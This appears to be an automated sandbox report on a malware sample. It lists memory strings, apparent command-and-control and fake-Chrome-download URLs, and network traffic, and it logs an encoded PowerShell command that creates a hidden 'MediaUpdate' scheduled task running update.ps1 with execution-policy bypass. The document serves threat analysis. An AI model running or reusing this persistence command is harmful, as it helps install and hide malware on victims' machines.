Source: chromecache_92.22.dr	String found in binary or memory: https://ampcid.google.com/v1/publisher:getClientId
Source: AddInProcess32.exe, 00000008.00000002.2986177052.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowereV
Source: AddInProcess32.exe, 00000008.00000002.2986177052.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.
Source: AddInProcess32.exe, 00000008.00000002.2986177052.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: powershell.exe, 00000011.00000002.3098311752.00000000050F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome-browser-download.com
Source: powershell.exe, 00000011.00000002.3098311752.00000000050F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome-browser-download.com/ChromeSetup.exe
Source: update.ps1.6.dr	String found in binary or memory: https://chrome-browser-download.com/world/news
Source: updater.exe, 00000014.00000003.3099399812.0000000054ECC000.00000004.00001000.00020000.00000000.sdmp, ChromeSetup.exe.17.dr, updater.log.20.dr, updater.exe.18.dr, UPDATER.PACKED.7Z.18.dr	String found in binary or memory: https://clients2.google.com/cr/report
Source: updater.exe, 00000014.00000002.3305701943.0000000054E04000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report--annotation=prod=Update4--annotation=ver=132.0.6833.0--attachm
Source: updater.exe, 00000014.00000002.3306029607.0000000054E38000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report--database=C:
Source: updater.exe, 00000014.00000002.3306297520.0000000054E50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/reportcc(LOCALAPPDATA=C:
Source: chromecache_90.22.dr, chromecache_91.22.dr	String found in binary or memory: https://clients6.google.com
Source: AddInProcess32.exe, 00000008.00000002.2986784771.000000000062B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: chromecache_90.22.dr, chromecache_91.22.dr	String found in binary or memory: https://content-googleapis-staging.sandbox.google.com
Source: chromecache_90.22.dr, chromecache_91.22.dr	String found in binary or memory: https://content-googleapis-test.sandbox.google.com
Source: powershell.exe, 00000011.00000002.3121353750.0000000006001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000011.00000002.3121353750.0000000006001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000011.00000002.3121353750.0000000006001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: ChromeSetup.exe, 00000012.00000000.3086900144.0000000001321000.00000002.00000001.01000000.0000000B.sdmp, updater.exe, 00000013.00000000.3097423379.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000013.00000002.3303527208.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000000.3098767118.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000002.3303578634.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, ChromeSetup.exe.17.dr, updater.exe.18.dr, UPDATER.PACKED.7Z.18.dr	String found in binary or memory: https://crashpad.chromium.org/
Source: ChromeSetup.exe, 00000012.00000000.3086900144.0000000001321000.00000002.00000001.01000000.0000000B.sdmp, updater.exe, 00000013.00000000.3097423379.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000013.00000002.3303527208.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000000.3098767118.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000002.3303578634.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, ChromeSetup.exe.17.dr, updater.exe.18.dr, UPDATER.PACKED.7Z.18.dr	String found in binary or memory: https://crashpad.chromium.org/bug/new
Source: ChromeSetup.exe, 00000012.00000000.3086900144.0000000001321000.00000002.00000001.01000000.0000000B.sdmp, updater.exe, 00000013.00000000.3097423379.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000013.00000002.3303527208.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000000.3098767118.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000002.3303578634.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, ChromeSetup.exe.17.dr, updater.exe.18.dr, UPDATER.PACKED.7Z.18.dr	String found in binary or memory: https://crashpad.chromium.org/https://crashpad.chromium.org/bug/new
Source: ChromeSetup.exe, 00000012.00000000.3086900144.0000000001321000.00000002.00000001.01000000.0000000B.sdmp, ChromeSetup.exe, 00000012.00000002.3304345481.0000000001267000.00000002.00000001.01000000.0000000B.sdmp, ChromeSetup.exe, 00000012.00000000.3086589355.0000000001267000.00000002.00000001.01000000.0000000B.sdmp, updater.exe, 00000013.00000000.3097423379.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000013.00000002.3303527208.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000000.3098767118.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000002.3303578634.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, ChromeSetup.exe.17.dr, updater.exe.18.dr, UPDATER.PACKED.7Z.18.dr	String found in binary or memory: https://dl.google.com/update2/installers/icons/
Source: chromecache_89.22.dr	String found in binary or memory: https://fonts.gstatic.com/s/notocoloremoji/v32/Yq6P-KqIXTD0t4D9z1ESnKM3-HpFabsE4tq3luCC7p-aXxcn.0.wo
Source: chromecache_89.22.dr	String found in binary or memory: https://fonts.gstatic.com/s/notocoloremoji/v32/Yq6P-KqIXTD0t4D9z1ESnKM3-HpFabsE4tq3luCC7p-aXxcn.1.wo
Source: chromecache_89.22.dr	String found in binary or memory: https://fonts.gstatic.com/s/notocoloremoji/v32/Yq6P-KqIXTD0t4D9z1ESnKM3-HpFabsE4tq3luCC7p-aXxcn.10.w
Source: chromecache_89.22.dr	String found in binary or memory: https://fonts.gstatic.com/s/notocoloremoji/v32/Yq6P-KqIXTD0t4D9z1ESnKM3-HpFabsE4tq3luCC7p-aXxcn.11.w
Source: chromecache_89.22.dr	String found in binary or memory: https://fonts.gstatic.com/s/notocoloremoji/v32/Yq6P-KqIXTD0t4D9z1ESnKM3-HpFabsE4tq3luCC7p-aXxcn.2.wo
Source: chromecache_89.22.dr	String found in binary or memory: https://fonts.gstatic.com/s/notocoloremoji/v32/Yq6P-KqIXTD0t4D9z1ESnKM3-HpFabsE4tq3luCC7p-aXxcn.3.wo
Source: chromecache_89.22.dr	String found in binary or memory: https://fonts.gstatic.com/s/notocoloremoji/v32/Yq6P-KqIXTD0t4D9z1ESnKM3-HpFabsE4tq3luCC7p-aXxcn.4.wo
Source: chromecache_89.22.dr	String found in binary or memory: https://fonts.gstatic.com/s/notocoloremoji/v32/Yq6P-KqIXTD0t4D9z1ESnKM3-HpFabsE4tq3luCC7p-aXxcn.5.wo
Source: chromecache_89.22.dr	String found in binary or memory: https://fonts.gstatic.com/s/notocoloremoji/v32/Yq6P-KqIXTD0t4D9z1ESnKM3-HpFabsE4tq3luCC7p-aXxcn.6.wo
Source: chromecache_89.22.dr	String found in binary or memory: https://fonts.gstatic.com/s/notocoloremoji/v32/Yq6P-KqIXTD0t4D9z1ESnKM3-HpFabsE4tq3luCC7p-aXxcn.7.wo
Source: chromecache_89.22.dr	String found in binary or memory: https://fonts.gstatic.com/s/notocoloremoji/v32/Yq6P-KqIXTD0t4D9z1ESnKM3-HpFabsE4tq3luCC7p-aXxcn.8.wo
Source: chromecache_89.22.dr	String found in binary or memory: https://fonts.gstatic.com/s/notocoloremoji/v32/Yq6P-KqIXTD0t4D9z1ESnKM3-HpFabsE4tq3luCC7p-aXxcn.9.wo
Source: edb.log.2.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000002.00000003.2036783581.0000016253C70000.00000004.00000800.00020000.00000000.sdmp, edb.log.2.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: powershell.exe, 00000011.00000002.3098311752.00000000050F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000011.00000002.3098311752.0000000005657000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: chromecache_90.22.dr, chromecache_91.22.dr	String found in binary or memory: https://google.com/chrome
Source: AddInProcess32.exe, 00000008.00000002.2986177052.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: AddInProcess32.exe, 00000008.00000002.2986361099.00000000005DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/
Source: AddInProcess32.exe, 00000008.00000002.2986724331.0000000000612000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.2986361099.00000000005DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api
Source: AddInProcess32.exe, 00000008.00000002.2986724331.0000000000612000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apion1
Source: AddInProcess32.exe, 00000008.00000002.2986361099.00000000005DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apis
Source: AddInProcess32.exe, 00000008.00000002.2986361099.00000000005DC000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.2985507229.0000000000599000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/pi
Source: AddInProcess32.exe, 00000008.00000002.2986361099.00000000005DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com:443/api
Source: AddInProcess32.exe, 00000008.00000002.2986177052.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steamp
Source: AddInProcess32.exe, 00000008.00000002.2986177052.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: ChromeSetup.exe, 00000012.00000000.3086900144.0000000001321000.00000002.00000001.01000000.0000000B.sdmp, ChromeSetup.exe, 00000012.00000002.3304345481.0000000001267000.00000002.00000001.01000000.0000000B.sdmp, ChromeSetup.exe, 00000012.00000000.3086589355.0000000001267000.00000002.00000001.01000000.0000000B.sdmp, updater.exe, 00000013.00000000.3097423379.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000013.00000002.3303527208.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000000.3098767118.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000002.3303578634.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, ChromeSetup.exe.17.dr, updater.exe.18.dr, UPDATER.PACKED.7Z.18.dr	String found in binary or memory: https://m.google.com/devicemanagement/data/api
Source: chromecache_90.22.dr, chromecache_91.22.dr	String found in binary or memory: https://myaccount.google.com/privacypolicy?hl=
Source: powershell.exe, 0000000B.00000002.2874157518.0000000006480000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3121353750.0000000006001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: chromecache_90.22.dr, chromecache_91.22.dr	String found in binary or memory: https://play.google.com
Source: chromecache_91.22.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_90.22.dr, chromecache_91.22.dr	String found in binary or memory: https://policies.google.com/terms
Source: chromecache_91.22.dr	String found in binary or memory: https://policies.google.com/terms/generative-ai
Source: chromecache_90.22.dr, chromecache_91.22.dr	String found in binary or memory: https://policies.google.com/terms?hl=
Source: chromecache_90.22.dr, chromecache_91.22.dr	String found in binary or memory: https://schema.org
Source: AddInProcess32.exe, 00000008.00000002.2986177052.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: chromecache_92.22.dr	String found in binary or memory: https://stats.g.doubleclick.net/j/collect
Source: AddInProcess32.exe, 00000008.00000002.2986177052.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: AddInProcess32.exe, 00000008.00000002.2986177052.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: AddInProcess32.exe, 00000008.00000002.2986724331.0000000000612000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: AddInProcess32.exe, 00000008.00000002.2986784771.000000000062B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: AddInProcess32.exe, 00000008.00000002.2986784771.000000000062B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: AddInProcess32.exe, 00000008.00000002.2986177052.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: AddInProcess32.exe, 00000008.00000002.2986784771.000000000062B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: chromecache_91.22.dr	String found in binary or memory: https://support.google.com
Source: chromecache_90.22.dr, chromecache_91.22.dr	String found in binary or memory: https://support.google.com/
Source: chromecache_90.22.dr, chromecache_91.22.dr	String found in binary or memory: https://support.google.com/communities/answer/7424249
Source: chromecache_91.22.dr	String found in binary or memory: https://support.google.com/communities/answer/7425194
Source: chromecache_90.22.dr, chromecache_91.22.dr	String found in binary or memory: https://support.google.com/embed/tagging/install
Source: chromecache_90.22.dr, chromecache_91.22.dr	String found in binary or memory: https://support.google.com/google-ads/workflow/14159772
Source: chromecache_90.22.dr, chromecache_91.22.dr	String found in binary or memory: https://support.google.com/google-ads/workflow/14282534
Source: chromecache_90.22.dr, chromecache_91.22.dr	String found in binary or memory: https://supporttagging-autopush.sandbox.google.com/embed/tagging/install
Source: chromecache_92.22.dr	String found in binary or memory: https://tagassistant.google.com/
Source: ChromeSetup.exe, 00000012.00000000.3086900144.0000000001321000.00000002.00000001.01000000.0000000B.sdmp, ChromeSetup.exe, 00000012.00000002.3304345481.0000000001267000.00000002.00000001.01000000.0000000B.sdmp, ChromeSetup.exe, 00000012.00000000.3086589355.0000000001267000.00000002.00000001.01000000.0000000B.sdmp, updater.exe, 00000013.00000000.3097423379.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000013.00000002.3303527208.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000000.3098767118.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000002.3303578634.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, ChromeSetup.exe.17.dr, updater.exe.18.dr, UPDATER.PACKED.7Z.18.dr	String found in binary or memory: https://update.googleapis.com/service/update2/json
Source: ChromeSetup.exe, 00000012.00000000.3086900144.0000000001321000.00000002.00000001.01000000.0000000B.sdmp, ChromeSetup.exe, 00000012.00000002.3304345481.0000000001267000.00000002.00000001.01000000.0000000B.sdmp, ChromeSetup.exe, 00000012.00000000.3086589355.0000000001267000.00000002.00000001.01000000.0000000B.sdmp, updater.exe, 00000013.00000000.3097423379.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000013.00000002.3303527208.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000000.3098767118.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000002.3303578634.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, ChromeSetup.exe.17.dr, updater.exe.18.dr, UPDATER.PACKED.7Z.18.dr	String found in binary or memory: https://update.googleapis.com/service/update2/jsonhttps://clients2.google.com/cr/reporthttps://m.goo
Source: GPU-Z.exe	String found in binary or memory: https://www.globalsign.com/repository/0
Source: chromecache_90.22.dr, chromecache_91.22.dr	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: chromecache_92.22.dr	String found in binary or memory: https://www.google-analytics.com/debug/bootstrap?id=
Source: chromecache_92.22.dr	String found in binary or memory: https://www.google-analytics.com/gtm/js?id=
Source: chromecache_92.22.dr	String found in binary or memory: https://www.google.%/ads/ga-audiences
Source: chromecache_90.22.dr, chromecache_91.22.dr	String found in binary or memory: https://www.google.com
Source: chromecache_90.22.dr, chromecache_91.22.dr	String found in binary or memory: https://www.google.com/
Source: chromecache_90.22.dr, chromecache_91.22.dr	String found in binary or memory: https://www.google.com/accounts/TOS
Source: chromecache_92.22.dr	String found in binary or memory: https://www.google.com/ads/ga-audiences
Source: chromecache_90.22.dr, chromecache_91.22.dr	String found in binary or memory: https://www.google.com/chrome
Source: chromecache_90.22.dr, chromecache_91.22.dr	String found in binary or memory: https://www.google.com/chrome/browser/desktop/index.html
Source: chromecache_90.22.dr, chromecache_91.22.dr	String found in binary or memory: https://www.google.com/chrome/browser/desktop/index.html?system=false&standalone=1
Source: chromecache_90.22.dr, chromecache_91.22.dr	String found in binary or memory: https://www.google.com/chrome/browser/desktop/index.html?system=true&standalone=1
Source: AddInProcess32.exe, 00000008.00000002.2986177052.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: chromecache_90.22.dr, chromecache_91.22.dr	String found in binary or memory: https://www.google.com/recaptcha/api.js?trustedtypes=true&onload=
Source: chromecache_90.22.dr, chromecache_91.22.dr	String found in binary or memory: https://www.google.com/recaptcha/api.js?trustedtypes=true&render=explicit&onload=
Source: chromecache_90.22.dr, chromecache_91.22.dr	String found in binary or memory: https://www.google.com/tools/feedback
Source: chromecache_90.22.dr, chromecache_91.22.dr	String found in binary or memory: https://www.googleapis.com/youtube/v3
Source: chromecache_90.22.dr, chromecache_91.22.dr	String found in binary or memory: https://www.googleapis.com/youtube/v3/videos?part=snippet%2C
Source: chromecache_92.22.dr	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=
Source: chromecache_90.22.dr, chromecache_91.22.dr	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=G-H30R9PNQFN
Source: AddInProcess32.exe, 00000008.00000002.2986177052.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: chromecache_90.22.dr, chromecache_91.22.dr	String found in binary or memory: https://www.gstatic.com/feedback/js/help/prod/service/lazy.min.js
Source: chromecache_91.22.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/1x/broken_image_grey600_18dp.png
Source: chromecache_90.22.dr, chromecache_91.22.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/2x/broken_image_grey600_18dp.png
Source: chromecache_91.22.dr	String found in binary or memory: https://www.gstatic.com/uservoice/feedback/client/web/
Source: AddInProcess32.exe, 00000008.00000002.2986177052.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: chromecache_90.22.dr, chromecache_91.22.dr	String found in binary or memory: https://www.youtube.com/embed/

Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866

Source: unknown	HTTPS traffic detected: 172.67.190.234:443 -> 192.168.2.5:49860 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49866 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.5:49874 version: TLS 1.2

E-Banking Fraud

Malicious encrypted Powershell command line found

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd" /c powershell -win 1 -noni -enc JABoACAAPQAgACgARwBlAHQALQBEAGEAdABlACkALgBoAG8AdQByADsAIAAkAG0AIAA9ACAAKABHAGUAdAAtAEQAYQB0AGUAKQAuAEEAZABkAE0AaQBuAHUAdABlAHMAKAAyACkALgBtAGkAbgB1AHQAZQA7ACAAJABUAHIAaQBnAGcAZQByACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBPAG4AYwBlACAALQBBAHQAIAAiACQAaABgADoAJABtACIAOwAgACQAQQBjAHQAaQBvAG4AIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAIgBjAG0AZAAiACAALQBBAHIAZwB1AG0AZQBuAHQAIAAiAC8AYwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAHcAaQBuACAAMQAgAC0AbgBvAG4AaQAgAC0AZQBwACAAYgB5AHAAYQBzAHMAIAAtAGYAaQBsAGUAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAE0AZQBkAGkAYQBTAHQAbwByAGEAZwBlAFwAdQBwAGQAYQB0AGUALgBwAHMAMQAiADsAIAAkAFAAcgBpAG4AYwBpAHAAYQBsACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBQAHIAaQBuAGMAaQBwAGEAbAAgAC0AVQBzAGUAcgBJAGQAIAAkAEUAbgB2ADoAVQBzAGUAcgBOAGEAbQBlADsAIABSAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAE4AYQBtAGUAIAAiAE0AZQBkAGkAYQBVAHAAZABhAHQAZQAiACAALQBUAHIAaQBnAGcAZQByACAAJABUAHIAaQBnAGcAZQByACAALQBBAGMAdABpAG8AbgAgACQAQQBjAHQAaQBvAG4AIAAtAFAAcgBpAG4AYwBpAHAAYQBsACAAJABQAHIAaQBuAGMAaQBwAGEAbAA=
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -win 1 -noni -enc JABoACAAPQAgACgARwBlAHQALQBEAGEAdABlACkALgBoAG8AdQByADsAIAAkAG0AIAA9ACAAKABHAGUAdAAtAEQAYQB0AGUAKQAuAEEAZABkAE0AaQBuAHUAdABlAHMAKAAyACkALgBtAGkAbgB1AHQAZQA7ACAAJABUAHIAaQBnAGcAZQByACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBPAG4AYwBlACAALQBBAHQAIAAiACQAaABgADoAJABtACIAOwAgACQAQQBjAHQAaQBvAG4AIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAIgBjAG0AZAAiACAALQBBAHIAZwB1AG0AZQBuAHQAIAAiAC8AYwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAHcAaQBuACAAMQAgAC0AbgBvAG4AaQAgAC0AZQBwACAAYgB5AHAAYQBzAHMAIAAtAGYAaQBsAGUAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAE0AZQBkAGkAYQBTAHQAbwByAGEAZwBlAFwAdQBwAGQAYQB0AGUALgBwAHMAMQAiADsAIAAkAFAAcgBpAG4AYwBpAHAAYQBsACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBQAHIAaQBuAGMAaQBwAGEAbAAgAC0AVQBzAGUAcgBJAGQAIAAkAEUAbgB2ADoAVQBzAGUAcgBOAGEAbQBlADsAIABSAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAE4AYQBtAGUAIAAiAE0AZQBkAGkAYQBVAHAAZABhAHQAZQAiACAALQBUAHIAaQBnAGcAZQByACAAJABUAHIAaQBnAGcAZQByACAALQBBAGMAdABpAG8AbgAgACQAQQBjAHQAaQBvAG4AIAAtAFAAcgBpAG4AYwBpAHAAYQBsACAAJABQAHIAaQBuAGMAaQBwAGEAbAA=
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd" /c powershell -win 1 -noni -enc JABoACAAPQAgACgARwBlAHQALQBEAGEAdABlACkALgBoAG8AdQByADsAIAAkAG0AIAA9ACAAKABHAGUAdAAtAEQAYQB0AGUAKQAuAEEAZABkAE0AaQBuAHUAdABlAHMAKAAyACkALgBtAGkAbgB1AHQAZQA7ACAAJABUAHIAaQBnAGcAZQByACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBPAG4AYwBlACAALQBBAHQAIAAiACQAaABgADoAJABtACIAOwAgACQAQQBjAHQAaQBvAG4AIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAIgBjAG0AZAAiACAALQBBAHIAZwB1AG0AZQBuAHQAIAAiAC8AYwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAHcAaQBuACAAMQAgAC0AbgBvAG4AaQAgAC0AZQBwACAAYgB5AHAAYQBzAHMAIAAtAGYAaQBsAGUAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAE0AZQBkAGkAYQBTAHQAbwByAGEAZwBlAFwAdQBwAGQAYQB0AGUALgBwAHMAMQAiADsAIAAkAFAAcgBpAG4AYwBpAHAAYQBsACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBQAHIAaQBuAGMAaQBwAGEAbAAgAC0AVQBzAGUAcgBJAGQAIAAkAEUAbgB2ADoAVQBzAGUAcgBOAGEAbQBlADsAIABSAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAE4AYQBtAGUAIAAiAE0AZQBkAGkAYQBVAHAAZABhAHQAZQAiACAALQBUAHIAaQBnAGcAZQByACAAJABUAHIAaQBnAGcAZQByACAALQBBAGMAdABpAG8AbgAgACQAQQBjAHQAaQBvAG4AIAAtAFAAcgBpAG4AYwBpAHAAYQBsACAAJABQAHIAaQBuAGMAaQBwAGEAbAA=	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -win 1 -noni -enc JABoACAAPQAgACgARwBlAHQALQBEAGEAdABlACkALgBoAG8AdQByADsAIAAkAG0AIAA9ACAAKABHAGUAdAAtAEQAYQB0AGUAKQAuAEEAZABkAE0AaQBuAHUAdABlAHMAKAAyACkALgBtAGkAbgB1AHQAZQA7ACAAJABUAHIAaQBnAGcAZQByACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBPAG4AYwBlACAALQBBAHQAIAAiACQAaABgADoAJABtACIAOwAgACQAQQBjAHQAaQBvAG4AIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAIgBjAG0AZAAiACAALQBBAHIAZwB1AG0AZQBuAHQAIAAiAC8AYwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAHcAaQBuACAAMQAgAC0AbgBvAG4AaQAgAC0AZQBwACAAYgB5AHAAYQBzAHMAIAAtAGYAaQBsAGUAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAE0AZQBkAGkAYQBTAHQAbwByAGEAZwBlAFwAdQBwAGQAYQB0AGUALgBwAHMAMQAiADsAIAAkAFAAcgBpAG4AYwBpAHAAYQBsACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBQAHIAaQBuAGMAaQBwAGEAbAAgAC0AVQBzAGUAcgBJAGQAIAAkAEUAbgB2ADoAVQBzAGUAcgBOAGEAbQBlADsAIABSAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAE4AYQBtAGUAIAAiAE0AZQBkAGkAY